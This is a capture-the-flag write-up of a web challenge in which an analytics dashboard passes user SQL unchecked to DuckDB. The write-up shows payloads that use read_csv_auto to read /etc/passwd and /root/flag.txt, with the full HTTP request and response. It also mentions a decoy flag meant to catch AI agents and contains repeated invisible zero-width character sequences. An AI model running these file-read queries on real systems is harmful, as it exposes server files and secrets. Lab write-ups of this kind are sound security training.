← Back to Writeups
CUSTOMEasyWeb

MetricFlow

XESXOR9/10/20263 min read
#web#custom#easy#decoy_flag_avoidance#duckdb_file_read_via_read_csv_#unrestricted_sql_function_acce

MetricFlow

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: decoy_flag_avoidance, duckdb_file_read_via_read_csv_auto, unrestricted_sql_function_access

Summary

Task: Analytics dashboard with DuckDB-powered SQL Data Explorer that passes user queries without restricting callable functions. Solution: Used DuckDB's read_csv_auto() table function to read /root/flag.txt from the server filesystem.

MetricFlow — HackAdvisor

Description

MetricFlow is a self-hosted analytics dashboard platform built by FlowData Systems. Engineering teams use it to visualize and explore operational metrics including CPU usage, memory consumption, request latency, and error rates across their production infrastructure. The platform features a powerful SQL-based Data Explorer that lets users write custom analytical queries against collected metrics. Your objective is to investigate the application for security weaknesses and find a way to read sensitive files on the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask-based analytics dashboard with a DuckDB-powered SQL query endpoint. Users can write arbitrary SQL via the Data Explorer. The goal is to read sensitive files on the server.

Analysis

Application Structure

  • Login: / — credentials analyst / analyst123
  • Dashboard: /dashboard — interactive charts for CPU, memory, latency, error rates
  • Data Explorer: /explore — SQL editor powered by DuckDB v0.9.2
  • API: POST /api/query — accepts {"type":"sql","expression":"..."} and executes against DuckDB
  • Server: nginx/1.25.5, Flask backend
  • Session: Flask signed cookie with role=viewer, user_id=2, username=analyst ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flag

A honeypot flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} was embedded in HTML comments on every page — a classic trap for automated scanners and AI agents. Ignored.

Vulnerability

The /api/query endpoint passes user-supplied SQL expressions directly to DuckDB without restricting which functions can be called. DuckDB provides built-in table functions like read_csv_auto(), read_csv(), and read_blob() that can read arbitrary files from the server filesystem. Since there is no allowlist or blocklist on function usage, an attacker can abuse these file-read functions to exfiltrate any file readable by the application process. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Login and Discover the SQL Endpoint

Login with analyst / analyst123 to obtain a session cookie. Navigate to /explore to find the Data Explorer. The JavaScript at /static/js/explore.js reveals the API endpoint: POST /api/query.

Step 2: Confirm DuckDB Version

sql
SELECT version() as v

Response: v0.9.2

Step 3: Attempt read_text() (Failed)

sql
SELECT read_text('/etc/passwd') as content

Error: Scalar Function with name read_text does not exist! — this function is not available in DuckDB v0.9.2. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Use read_csv_auto() for Arbitrary File Read

sql
SELECT * FROM read_csv_auto('/etc/passwd')

Successfully returned all 27 lines of /etc/passwd, confirming arbitrary file read capability.

Step 5: Read the Flag

sql
SELECT * FROM read_csv_auto('/root/flag.txt')

Full HTTP request:

POST /api/query HTTP/1.1
Content-Type: application/json
Cookie: session=eyJyb2xlIjoidmlld2VyIiwidXNlcl9pZCI6MiwidXNlcm5hbWUiOiJhbmFseXN0In0.agXI6Q.l_mSt4kv5KP6nY6Mmk3CLIrsz0A

{"type":"sql","expression":"SELECT * FROM read_csv_auto('/root/flag.txt')"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{
  "columns": ["column0"],
  "duration_ms": 6001,
  "row_count": 1,
  "rows": [{"column0": "FLAG{REDACTED}"}]
}

Failed Attempts

AttemptResult
read_text('/etc/passwd')Function not available in DuckDB v0.9.2
read_csv_auto('/flag.txt')File not found
read_csv_auto('/app/flag.txt')File not found
read_csv_auto('/home/flag.txt')File not found
read_csv_auto('/root/flag.txt')Success
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍